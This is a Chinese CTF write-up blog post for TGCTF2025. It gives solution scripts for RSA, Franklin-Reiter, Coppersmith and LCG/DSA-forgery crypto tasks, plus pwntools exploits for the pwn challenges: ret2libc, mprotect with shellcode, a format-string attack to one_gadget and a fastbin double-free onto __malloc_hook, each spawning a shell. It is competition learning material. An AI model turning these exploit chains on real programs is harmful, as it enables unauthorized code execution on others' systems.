TGCTF2025 - Zsm's blog

前言#

rank33，感觉自己还是太菜了，放一部分的wp

题目#

crypto#

AAAAAAAA·真·签到｜solved by zsm#

task

1
给你flag签个到好了
2
UGBRC{RI0G!O04_5C3_OVUI_DV_MNTB}
3
诶，我的flag怎么了？？？？
4
好像字母对不上了
5
我的签到怎么办呀，急急急
6
听说福来阁好像是TGCTF开头的喔

思路就是先对照，然后对一下思路？UGBRC和TGCTF进行比较，位移是-1,0,1…，猜测每个增加1，搓个脚本 exp.py

1
def caesar_shift(text):
2
    shift = -1
3
    result = []
4
    shift_count = 0
5

6
    for char in text:
7
        if char.isalpha():
8
            if char.isupper():
9
                new_char = chr(((ord(char) - ord('A') + shift) % 26) + ord('A'))
10
            else:
11
                new_char = chr(((ord(char) - ord('a') + shift) % 26) + ord('a'))
12
            result.append(new_char)
13
        else:
14
            result.append(char)
15
        shift += 1
16

17
    return ''.join(result)
18

19
input_text = "UGBRC{RI0G!O04_5C3_OVUI_DV_MNTB}"
20
output_text = caesar_shift(input_text)
21
print(output_text)

mm不躲猫猫｜solved by zsm#

60组nc的广播攻击，先读取一下，然后直接爆，好像不用读取也行读取.py

1
import re
2

3
def parse_nc_pairs(input_text):
4
    # Initialize dictionaries for n1, c1, n2, c2, ...
5
    n_values = {}
6
    c_values = {}
7

8
    # Regex to match [n_k] blocks and extract n and c
9
    pattern = r'\[n_(\d+)\]\s*n\s*=\s*(\d+)\s*c\s*=\s*(\d+)'
10

11
    # Find all matches
12
    matches = re.findall(pattern, input_text, re.MULTILINE)
13
    for index, n_val, c_val in sorted(matches, key=lambda x: int(x[0])):
14
        n_key = f'n{index}'
15
        c_key = f'c{index}'
16
        n_values[n_key] = int(n_val)
17
        c_values[c_key] = int(c_val)
18

19
    return n_values, c_values
20

21
# Read input from file (replace 'input.txt' with your file path)
22
with open('challenge.txt', 'r') as f:
23
    input_text = f.read()
24

25
# Parse into n1, c1, n2, c2, ...
26
n_values, c_values = parse_nc_pairs(input_text)
27

28
# Optional: Print to verify
29
for i in range(1, 61):  # Assuming 60 pairs
30
    n_key = f'n{i}'
31
    c_key = f'c{i}'
32
    if n_key in n_values and c_key in c_values:
33
        print(f"{n_key} = {n_values[n_key]}")
34
        print(f"{c_key} = {c_values[c_key]}")

exp.py

1
from Crypto.Util.number import*
2
import gmpy2
3
e = 65537
4
#不用60组全拿
5
n = [n1,n2,n3,n4,n5,n6,n7,n8,n9,n10,n11,n12,n13,n14,n15,n16,n17,n18,n19]
6
c = [c1,c2,c3,c4,c5,c6,c7,c8,c9,c10,c11,c12,c13,c14,c15,c16,c17,c18,c19]
7

8
for i in range(len(n)):
9
    for j in range(len(n)):
10
        if (i!=j):
11
            t = gmpy2.gcd(n[i],n[j])
12
            if t != 1:
13
                p = t
14
                q = n[i] // p
15
                d = gmpy2.invert(e,(p-1)*(q-1))
16
                m = pow(c[i],d,n[i])
17
                print(long_to_bytes(m))

tRwSiAns ｜solved by zsm#

task.py

1
from flag import FLAG
2
from Crypto.Util.number import getPrime, bytes_to_long
3
import hashlib
4

5
def generate_key(bits=512):
6
    p = getPrime(bits)
7
    q = getPrime(bits)
8
    return p * q, 3
9

10

11
def hash(x):
12
    return int(hashlib.md5(str(x).encode()).hexdigest(), 16)
13

14

15
def encrypt(m, n, e):
16
    x1, x2 = 307, 7
17
    c1 = pow(m + hash(x1), e, n)
18
    c2 = pow(m + hash(x2), e, n)
19
    return c1, c2
20

21

22
m = bytes_to_long(FLAG)
23
n, e = generate_key()
24
c1, c2 = encrypt(m, n, e)
25
print(f"n = {n}")
26
print(f"e = {e}")
27
print(f"c1 = {c1}")
28
print(f"c2 = {c2}")

富兰克林，直接写 exp.py

1
from Crypto.Util.number import *
2
import hashlib
3
import sys
4
import libnum
5
def hash(x):
6
    return int(hashlib.md5(str(x).encode()).hexdigest(), 16)
7
x1, x2 = 307, 7
8
h1,h2=hash(x1),hash(x2)
9

10
n =
11
e = 3
12
c1 =
13
c2 =
14

15
import binascii
16
def franklinReiter(n,e,c1,c2,a,b):
17
    PR.<x> = PolynomialRing(Zmod(n))
18
    g1 = (x+a)^e - c1
19
    g2 = (x+b)^e - c2
20

21
    def gcd(g1, g2):
22
        while g2:
23
            g1, g2 = g2, g1 % g2
24
        return g1.monic() #
25
    return -gcd(g1, g2)[0]
26

27
m=franklinReiter(n,e,c1,c2,h1,h2)
28
print(libnum.n2s(int(m)))

宝宝rsa ｜solved by zsm#

task.py

1
from math import gcd
2
from Crypto.Util.number import *
3
from secret import flag
4

5
# PART1
6
p1 = getPrime(512)
7
q1 = getPrime(512)
8
n1 = p1 * q1
9
phi = (p1 - 1) * (q1 - 1)
10
m1 = bytes_to_long(flag[:len(flag) // 2])
11
e1 = getPrime(18)
12
while gcd(e1, phi) != 1:
13
    e1 = getPrime(17)
14
c1 = pow(m1, e1, n1)
15

16
print("p1 =", p1)
17
print("q1 =", q1)
18
print("c1 =", c1)
19

20
# PART2
21
n2 = getPrime(512) * getPrime(512)
22
e2 = 3
23
m2 = bytes_to_long(flag[len(flag) // 2:])
24
c2 = pow(m2, e2, n2)
25

26
print("n2 =", n2)
27
print("c2 =", c2)
28
print("e2 =", e2)

part1爆破e，part2小e攻击,爆破e的脚本自己写的很慢，ai启动

exp.py

1
from math import gcd, isqrt
2
from Crypto.Util.number import *
3
import sys
4

5
# 已知的 PART1 参数
6
p1 =
7
q1 =
8
c1 =
9

10
# 已知的 PART2 参数
11
n2 =
12
c2 =
13
e2 = 3
14

15
phi = (p1 - 1) * (q1 - 1)
16
n1 = p1 * q1
17

18
def is_candidate_valid(e):
19
    return gcd(e, phi) == 1
20

21
def get_primes_in_range(low, high):
22
    sieve = [True] * (high + 1)
23
    sieve[0] = sieve[1] = False
24
    for i in range(2, isqrt(high)+1):
25
        if sieve[i]:
26
            for j in range(i*i, high+1, i):
27
                sieve[j] = False
28
    return [i for i in range(low, high) if sieve[i]]
29

30
primes_18 = get_primes_in_range(2**17, 2**18)
31
found = False
32
m1_found = None
33
e1_found = None
34

35
for e in primes_18:
36
    if is_candidate_valid(e):
37
        try:
38
            d = inverse(e, phi)
39
        except Exception as ex:
40
            continue
41
        m1 = pow(c1, d, n1)
42
        m1_bytes = long_to_bytes(m1)
43
        if m1_bytes.startswith(b'TGCTF{'):
44
            e1_found = e
45
            m1_found = m1_bytes
46
            print("找到可能的 e1:", e)
47
            break
48
if m1_found is None:
49
    primes_17 = get_primes_in_range(2**16, 2**17)
50
    for e in primes_17:
51
        if is_candidate_valid(e):
52
            try:
53
                d = inverse(e, phi)
54
            except Exception as ex:
55
                continue
56
            m1 = pow(c1, d, n1)
57
            m1_bytes = long_to_bytes(m1)
58
            if m1_bytes.startswith(b'TGCTF{'):
59
                e1_found = e
60
                m1_found = m1_bytes
61
                print("找到可能的 e1（17位）:", e)
62
                break
63

64
if m1_found is None:
65
    print("未能在候选 e1 范围内找到正确的前半部分。")
66
    sys.exit(1)
67

68
print("成功恢复 PART1 的明文:", m1_found)
69

70
def integer_cube_root(n):
71
    lo = 0
72
    hi = 1 << ((n.bit_length() + 2) // 3)
73
    while lo < hi:
74
        mid = (lo + hi) // 2
75
        if mid**3 <= n:
76
            lo = mid + 1
77
        else:
78
            hi = mid
79
    return lo - 1
80

81
m2 = integer_cube_root(c2)
82
m2_bytes = long_to_bytes(m2)
83
print("成功恢复 PART2 的明文:", m2_bytes)
84

85
flag = m1_found + m2_bytes
86
print("恢复的 flag 为:")
87
print(flag.decode(errors='replace'))

费克特尔｜solved by zsm#

分解n就行了 exp.py

1
c=
2
n=
3
e=65537
4
p,q,r,s,x=
5

6
from Crypto.Util.number import *
7

8
phi=(p-1)*(q-1)*(r-1)*(s-1)*(x-1)
9
d=inverse(e,phi)
10
m=long_to_bytes(pow(c,d,n))
11
print(m)

EZRSA ｜solved by zsm#

task.py

1
from Crypto.Util.number import *
2

3
def genarate_emojiiiiii_prime(nbits, base=0):
4
    while True:
5
        p = getPrime(base // 32 * 32) if base >= 3 else 0
6
        for i in range(nbits // 8 // 4 - base // 32):
7
            p = (p << 32) + get_random_emojiiiiii() # 猜一猜
8
        if isPrime(p):
9
            return p
10

11
m = bytes_to_long(flag.encode()+ "".join([long_to_bytes(get_random_emojiiiiii()).decode() for _ in range(5)]).encode())
12
p = genarate_emojiiiiii_prime(512, 224)
13
q = genarate_emojiiiiii_prime(512)
14

15
n = p * q
16
e = "💯"
17
c = pow(m, bytes_to_long(e.encode()), n)
18

19
print("p0 =", long_to_bytes(p % 2 ** 256).decode())
20
print("n =", n)
21
print("c =", c)
22

23
p0 = '😘😾😂😋😶😾😳😷'
24
n =
25
c =

先把plow和e转了

1
from Crypto.Util.number import*
2
e = bytes_to_long("💯".encode())
3
print(e)
4
p0 = "😘😾😂😋😶😾😳😷"
5
print(bytes_to_long(p0.encode()))

plow就是256位，自然想到copper，看p的生成方法，先生成224位的素数，然后填充了九个32bits的emoji，目前已知八个，爆破这一个未知的emoji即可，爆破 $2^{31}$ 到 $2^{32}$ 是不可能的，列出来一点常见的emoji去爆破

1
from Crypto.Util.number import*
2
from gmpy2 import*
3
e=4036989615
4
plow=
5
n =
6
c =
7

8
emoji = '😀 😃 😄 😁 😆 😅 🤣 😂 🙂 🙃 😉 😊 😇 🥰 😍 🤩 😘 😗'.split(' ')
9

10
def recover_p(n, p_low, k_bits):
11
    P.<x> = PolynomialRing(Zmod(n))
12
    f = x * 2**k_bits + p_low
13
    roots = f.monic().small_roots(X=2^(n.nbits()//2 - k_bits), beta=0.4)
14
    if roots:
15
        return roots[0] * 2**k_bits + p_low
16

17
for i in emoji:
18
    pp=bytes_to_long(i.encode())*2**256+plow
19
    p=recover_p(n,pp,288)
20
    if p:
21
        print(p)
22
        break

然后是个不互素问题，直接crt

1
from Crypto.Util.number import *
2

3
from sage.all import *
4
n =
5
c =
6
p=
7
e=4036989615
8
q  = n // p
9
phi=(p-1)*(q-1)
10
#print(GCD(e,phi))   =15
11
assert p*q == n
12
d = inverse(e//15,phi)
13
m = pow(c,d,n)
14

15
R = PolynomialRing(Zmod(p), 'x')
16
x = R.gen()
17
f = x^15 - m
18
roots_p = f.roots()
19

20
R = PolynomialRing(Zmod(q), 'x')
21
x = R.gen()
22
f = x^15 - m
23
roots_q = f.roots()
24

25
for rp, _ in roots_p:
26
    for rq, _ in roots_q:
27
        mm = crt([int(rp), int(rq)], [p, q])
28
        try:
29
            res = long_to_bytes(mm)
30
            if b'TGCTF' in res:
31
                print(res.decode())
32
        except:
33
            pass

LLLCG ｜复现#

task.py

1
from hashlib import sha256
2
from Crypto.Util.number import *
3
from random import randint
4
import socketserver
5
from secret import flag, dsa_p, dsa_q
6

7
class TripleLCG:
8
    def __init__(self, seed1, seed2, seed3, a, b, c, d, n):
9
        self.state = [seed1, seed2, seed3]
10
        self.a = a
11
        self.b = b
12
        self.c = c
13
        self.d = d
14
        self.n = n
15

16
    def next(self):
17
        new = (self.a * self.state[-3] + self.b * self.state[-2] + self.c * self.state[-1] + self.d) % self.n
18
        self.state.append(new)
19
        return new
20

21
class DSA:
22
    def __init__(self):
23
        # while True:
24
            # self.q = getPrime(160)
25
            # t = 2 * getPrime(1024 - 160) * self.q
26
            # if isPrime(t + 1):
27
            #    self.p = t + 1
28
            #    break
29
        self.p = dsa_p
30
        self.q = dsa_q
31
        self.g = pow(2, (self.p - 1) // self.q, self.p)
32
        self.x = randint(1, self.q - 1)
33
        self.y = pow(self.g, self.x, self.p)
34

35
    def sign(self, msg, k):
36
        h = bytes_to_long(sha256(msg).digest())
37
        r = pow(self.g, k, self.p) % self.q
38
        s = (inverse(k, self.q) * (h + self.x * r)) % self.q
39
        return (r, s)
40

41
    def verify(self, msg, r, s):
42
        if not (0 < r < self.q and 0 < s < self.q):
43
            return False
44
        h = bytes_to_long(sha256(msg).digest())
45
        w = inverse(s, self.q)
46
        u1 = (h * w) % self.q
47
        u2 = (r * w) % self.q
48
        v = ((pow(self.g, u1, self.p) * pow(self.y, u2, self.p)) % self.p) % self.q
49
        return v == r
50

51
class Task(socketserver.BaseRequestHandler):
52
    def _recvall(self):
53
        BUFF_SIZE = 2048
54
        data = b''
55
        while True:
56
            part = self.request.recv(BUFF_SIZE)
57
            data += part
58
            if len(part) < BUFF_SIZE:
59
                break
60
        return data.strip()
61

62
    def send(self, msg, newline=True):
63
        if newline:
64
            msg += b'\n'
65
        self.request.sendall(msg)
66

67
    def recv(self, prompt=b'[-] '):
68
        self.send(prompt, newline=False)
69
        return self._recvall()
70

71
    def handle(self):
72
        n = getPrime(128)
73
        a, b, c, d = [randint(1, n - 1) for _ in range(4)]
74
        seed1, seed2, seed3 = [randint(1, n - 1) for _ in range(3)]
75

76
        lcg = TripleLCG(seed1, seed2, seed3, a, b, c, d, n)
77
        dsa = DSA()
78

79
        self.send(b"Welcome to TGCTF Challenge!\n")
80
        self.send(f"p = {dsa.p}, q = {dsa.q}, g = {dsa.g}, y = {dsa.y}".encode())
81

82
        small_primes = [59093, 65371, 37337, 43759, 52859, 39541, 60457, 61469, 43711]
83
        used_messages = set()
84
        for o_v in range(3):
85
            self.send(b"Select challenge parts: 1, 2, 3\n")
86
            parts = self.recv().decode().split()
87

88
            if '1' in parts:
89
                self.send(b"Part 1\n")
90
                for i in range(12):
91
                    self.send(f"Message {i + 1}: ".encode())
92
                    msg = self.recv()
93
                    used_messages.add(msg)
94
                    k = lcg.next()
95
                    r, s = dsa.sign(msg, k)
96
                    self.send(f"r = {r}, ks = {[k % p for p in small_primes]}\n".encode())
97

98
            if '2' in parts:
99
                self.send(b"Part 2\n")
100
                for _ in range(307):
101
                    k = lcg.next()
102
                for i in range(10):
103
                    self.send(f"Message {i + 1}: ".encode())
104
                    msg = self.recv()
105
                    k = lcg.next() % dsa.q
106
                    r, s = dsa.sign(msg, k)
107
                    self.send(f"Signature: r = {r}, s = {s}\n".encode())
108
                    used_messages.add(msg)
109

110
            if '3' in parts:
111
                self.send(b"Part 3\n")
112
                self.send(b"Forged message: ")
113
                final_msg = self.recv()
114
                self.send(b"Forged r: ")
115
                r = int(self.recv())
116
                self.send(b"Forged s: ")
117
                s = int(self.recv())
118

119
                if final_msg in used_messages:
120
                    self.send(b"Message already signed!\n")
121
                elif dsa.verify(final_msg, r, s):
122
                    self.send(f"Good! Your flag: {flag}\n".encode())
123
                else:
124
                    self.send(b"Invalid signature.\n")

三个部分第一个部分会给12组r和k，有模数，可以crt求解，十二组可以求出lcg的abcdn 第二个部分在已知abcdn后307次lcg，然后求出k，p,q,g,y均为已知值,即可计算得到x 第三部分就是伪造签名发过去就行了

但是这个题的交互真的很麻烦啊我靠，我是先把数据拉下来再传的，求解代码扔上面吧

1
R.<a,b,c,d> = PolynomialRing(ZZ)
2

3
f1=k_list[0]*a+k_list[1]*b+k_list[2]*c+d-k_list[3]
4
f2=k_list[1]*a+k_list[2]*b+k_list[3]*c+d-k_list[4]
5
f3=k_list[2]*a+k_list[3]*b+k_list[4]*c+d-k_list[5]
6
f4=k_list[3]*a+k_list[4]*b+k_list[5]*c+d-k_list[6]
7
f5=k_list[4]*a+k_list[5]*b+k_list[6]*c+d-k_list[7]
8
f6=k_list[5]*a+k_list[6]*b+k_list[7]*c+d-k_list[8]
9
f7=k_list[6]*a+k_list[7]*b+k_list[8]*c+d-k_list[9]
10
f8=k_list[7]*a+k_list[8]*b+k_list[9]*c+d-k_list[10]
11
f9=k_list[8]*a+k_list[9]*b+k_list[10]*c+d-k_list[11]
12

13
F=[f1,f2,f3,f4,f5,f6,f7,f8,f9]
14
ideal = Ideal(F)
15

16
I = ideal.groebner_basis()
17
n = int(I[4])
18
a = int(-I[0].univariate_polynomial()(0))%n
19
b = int(-I[1].univariate_polynomial()(0))%n
20
c = int(-I[2].univariate_polynomial()(0))%n
21
d = int(-I[3].univariate_polynomial()(0))%n
22

23
for _ in range(307):
24
    k = lcg.next()
25
m = b'a'
26
h = bytes_to_long(sha256(m).digest())
27
k = lcg.next()
28
print('k=',k)
29
inv_r=inverse(r_l2[0],q)
30
x = ((s_l[0]*k%q-h)*inv_r) % q
31
print(x)
32

33
end_h = bytes_to_long(sha256(b'b').digest())
34
r_ = pow(g,1,p)%q
35
s_ = ((end_h+x*r_)*inverse(1,q))%q

pwn#

签到 | solved by v2rtua1#

没什么好说的，gets->ret2libc

1
from pwnfunc import *
2

3
io, elf, libc = pwn_initial()
4
set_context(term="tmux_split", arch="amd64")
5
"""amd64 i386 arm arm64 riscv64"""
6

7
prdi = 0x0000000000401176
8
ret = 0x000000000040101A
9
puts = 0x0000000000401060
10
payload = b"a" * (0x78) + p(prdi) + p(elf.got["puts"]) + p(puts) + p(elf.sym["main"])
11
r()
12
sl(payload)
13
rl()
14
pause()
15
base = u(r(6).ljust(8, b"\0")) - 0x80E50
16
binsh = base + 0x1D8678
17
system = base + 0x50D70
18
payload = b"a" * (0x78) + p(prdi) + p(binsh) + p(ret) + p(system)
19
sl(payload)
20
ia()

overflow | solved by v2rtua1#

x86的gets溢出题，同时是静态编译，尝试—ropchain一把梭没成功，观察到程序提供了很多gadget并且有mprotect函数，于是打mprotect写shellcode然后jmp过去

1
from pwnfunc import *
2

3
io, elf, libc = pwn_initial()
4
set_context(term="tmux_split", arch="i386")
5
"""amd64 i386 arm arm64 riscv64"""
6

7
name = 0x80EF320
8
read = 0x806F960
9
pop_3 = 0x080ADD9D
10
mprotect = 0x08070A70
11
s(
12
    p(mprotect)
13
    + p(pop_3)
14
    + p(0x080EF000)
15
    + p(0x1000)
16
    + p(7)
17
    + p(read)
18
    + p(0x80EF300)
19
    + p(0)
20
    + p(0x80EF300)
21
    + p(0x1000)
22
)
23

24
payload = b"a" * (0xD0 - 8) + p(name + 4)
25
sl(payload)
26
pause()
27
s(b"a" * 24 + p(0x80EF318 + 4) + asm(shellcraft.sh()))
28

29
ia()

stack | solved by v2rtua1#

一开始没看出啥门道，最后才发现可以溢出到原write的参数上，因为有sh字符串，改成system(“/bin/sh”)就结束了

1
from pwnfunc import *
2

3
io, elf, libc = pwn_initial()
4
set_context(term="tmux_split", arch="amd64")
5
"""amd64 i386 arm arm64 riscv64"""
6

7
binsh = 0x000000000404108
8
trigger = 0x00000000004011B6
9
payload = b"a" * 0x40 + p(59) + p(binsh) + p(0) + p(0)
10
s(payload)
11
pause()
12
payload = b"a" * 0x40 + p(0) + p(0x00000000004011D0)
13
s(payload)
14
ia()

fmt | solved by v2rtua1#

格式化字符串题，正常流程下来只有一次格式化机会因为0x30不够再写个0x114514进去了，于是观察栈构造，几次调试后发现可以修改printf返回地址到前几行代码，这样就可以实现循环printf 然后就是随便打了，泄露libc->onegadget

1
from pwnfunc import *
2

3
io, elf, libc = pwn_initial()
4
set_context(term="tmux_split", arch="amd64")
5
"""amd64 i386 arm arm64 riscv64"""
6

7
magic = 0x0000000000404010
8
ret_off = 0x68
9
main = 0x00000000004011B6
10
ru(b"your gift ")
11
stack = int(r(len("0x7ffd10a3fb90")), 16)
12
ret_addr = stack + ret_off
13
printf_got = 0x403FE0
14
success(hex(ret_addr))
15
"""
16
0xe3afe execve("/bin/sh", r15, r12)
17
constraints:
18
  [r15] == NULL || r15 == NULL || r15 is a valid argv
19
  [r12] == NULL || r12 == NULL || r12 is a valid envp
20

21
0xe3b01 execve("/bin/sh", r15, rdx)
22
constraints:
23
  [r15] == NULL || r15 == NULL || r15 is a valid argv
24
  [rdx] == NULL || rdx == NULL || rdx is a valid envp
25

26
0xe3b04 execve("/bin/sh", rsi, rdx)
27
constraints:
28
  [rsi] == NULL || rsi == NULL || rsi is a valid argv
29
  [rdx] == NULL || rdx == NULL || rdx is a valid envp
30
"""
31
payload = b"%25c%8$hhn%19$p." + p(ret_addr - 0x70)
32
s(payload)
33
ru(b"0x")
34
base = int(r(12), 16) - 0x24083
35
system = base + 0x52290
36
success(hex(base))
37
success(hex(system))
38
system = base + 0x52290
39
last3 = hex(system)[-6:]
40
success(last3)
41

42
og = base + 0xE3B01
43
last3 = hex(og)[-6:]
44
F = int(last3[:2], 16)
45
L = int(last3[2:], 16)
46
M = int(last3[:3], 16)
47
success(hex(og))
48
payload = bytes(f"%{F}c%10$hhn".encode("utf-8"))
49
payload += bytes(f"%{L-F}c%11$hn".encode("utf-8"))
50
payload = payload.ljust(0x20, b"a")
51
payload += p(ret_addr + 2) + p(ret_addr)
52
s(payload)
53
ia()

heap | solved by v2rtua1#

2.23的堆题，提供alloc和free两个常规功能和一个附带功能，发现无show于是先想到unsorted bin爆破stdin泄露地址，但是发现只给了fastbin，结合没pie和uaf的特性往name上写入fastbin头得以控制list，然后因为有了任意free就可以再布置一个unsorted bin大小的chunk在name上，free完泄露libc直接打malloc_hook

1
from pwnfunc import *
2

3
io, elf, libc = pwn_initial()
4
set_context(term="tmux_split", arch="amd64")
5
"""amd64 i386 arm arm64 riscv64"""
6

7
def menu():
8
    ru(b"> ")
9

10
def alloc(size, content):
11
    menu()
12
    sl(b"1")
13
    ru(b"size?")
14
    sl(str(size))
15
    ru(b"else?")
16
    s(content)
17

18
def free(idx):
19
    menu()
20
    sl(b"2")
21
    ru(b"> ")
22
    sl(str(idx))
23

24
def change(name):
25
    menu()
26
    sl(b"3")
27
    r()
28
    s(name)
29

30
payload = (
31
    (b"\0" * 8 + p(0xA1) + p(0) * (9 * 2) + p(0xA1) + p(0x21) + p(0) * 2).ljust(
32
        0xC0, b"\0"
33
    )
34
    + p(0x21)
35
    + p(0x71)
36
)
37

38
s(payload)
39
alloc(0x60, b"a")  # 0
40
alloc(0x60, b"a")  # 1
41
alloc(0x10, b"a")  # 2
42
free(0)
43
free(1)
44
free(0)
45
alloc(0x60, p(0x602180))  # 3
46
alloc(0x60, b"a")  # 4
47
alloc(0x60, b"a")  # 5
48
hptr = 0x6020C0 + 0x10
49
payload = p(0) * 2 + p(hptr)
50

51
alloc(0x60, payload)  # 6
52
# x=0x00000000006020C0
53

54
free(0)
55
change(b"a" * 0xF + b"Z")
56
ru(b"Z")
57
base = u(r(6).ljust(8, b"\0")) - 0x3C4B78
58
success(hex(base))
59
mhook = base + 0x3C4B10
60
"""
61
0x4527a execve("/bin/sh", rsp+0x30, environ)
62
constraints:
63
  [rsp+0x30] == NULL || {[rsp+0x30], [rsp+0x38], [rsp+0x40], [rsp+0x48], ...} is a valid argv
64

65
0xf03a4 execve("/bin/sh", rsp+0x50, environ)
66
constraints:
67
  [rsp+0x50] == NULL || {[rsp+0x50], [rsp+0x58], [rsp+0x60], [rsp+0x68], ...} is a valid argv
68

69
0xf1247 execve("/bin/sh", rsp+0x70, environ)
70
constraints:
71
  [rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv
72
"""
73
og = [0x4527A, 0xF03A4, 0xF1247]
74
og = base + og[2]
75
dest = base + 0x3C4AED
76
change(p(0) + p(0xA1))
77
alloc(0x60, b"\0")  # 7
78
alloc(0x60, b"\0")  # 8 %
79
alloc(0x60, b"\0")  # 9
80
alloc(0x10, b"\0")  # 10
81
free(8)
82
free(9)
83
free(8)
84
alloc(0x60, p(dest))  # 11
85
alloc(0x60, b"\0")  # 12
86
alloc(0x60, b"\0")  # 13
87
payload = b"\0" * 0x13 + p(og)
88
alloc(0x60, payload)  # 14
89

90
menu()
91
sl(b"1")
92
ru(b"size?")
93
sl(str(0x30))
94

95
ia()

onlygets | solved by v2rtua1#

题目给了个docker和一个.so库，so是个后门程序开头将bss上的stdin等指针置空了，表明出题人不想让我们二次写/泄露，这种没泄露的题一般都是无输出直接增减偏移去打的。先看jmp/call，这种类型的gadget只和rax/[rax]/[rbp]有关联，rax没法控制而rbp可以，那就找所有跟rbp有关的gadget。想了一会发现可以打这么个链：rbp=(any writeable-0x3d),pop rsi…(偏移)+add ebx,esi+add [rbp-0x3d],ebx…+pop rbp,(any writeable)+ret+jmp [rbp]

1
from pwnfunc import *
2

3
io, elf, libc = pwn_initial()
4
set_context(term="tmux_split", arch="amd64")
5
"""amd64 i386 arm arm64 riscv64"""
6

7
add_ebx_esi = 0x00000000004005FD
8
add_rbp_3dXXX = 0x0000000000400548  # add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; repz ret
9
prsi_r15 = 0x0000000000400661
10
prbp = 0x00000000004004E8
11
leave = 0x00000000004005FB
12
ret = 0x0000000000400456
13
bss = 0x0000000000601010
14
off1 = 0xD880
15
off2 = 0x11A4
16
payload = (
17
    b"a" * 0x10
18
    + p(bss + 0x3D)
19
    + p(prsi_r15)
20
    + (p(off1 + off2) + p(0))
21
    + p(add_ebx_esi)
22
    + p(add_rbp_3dXXX)
23
    + p(prbp)
24
    + p(bss)
25
    + p(ret)
26
    + p(0x000000000040076B)
27
)
28
pause()
29
sl(payload)
30
ia()

总结#

没有web，misc那几个都简单就不放了（

a ctfer on the load

前言#

题目#

crypto#

AAAAAAAA·真·签到 ｜solved by zsm#

mm不躲猫猫｜solved by zsm#

tRwSiAns ｜solved by zsm#

宝宝rsa ｜solved by zsm#

费克特尔 ｜solved by zsm#

EZRSA ｜solved by zsm#

LLLCG ｜ 复现#

pwn#

签到 | solved by v2rtua1#

overflow | solved by v2rtua1#

stack | solved by v2rtua1#

fmt | solved by v2rtua1#

heap | solved by v2rtua1#

onlygets | solved by v2rtua1#

总结#

AAAAAAAA·真·签到｜solved by zsm#

费克特尔｜solved by zsm#

LLLCG ｜复现#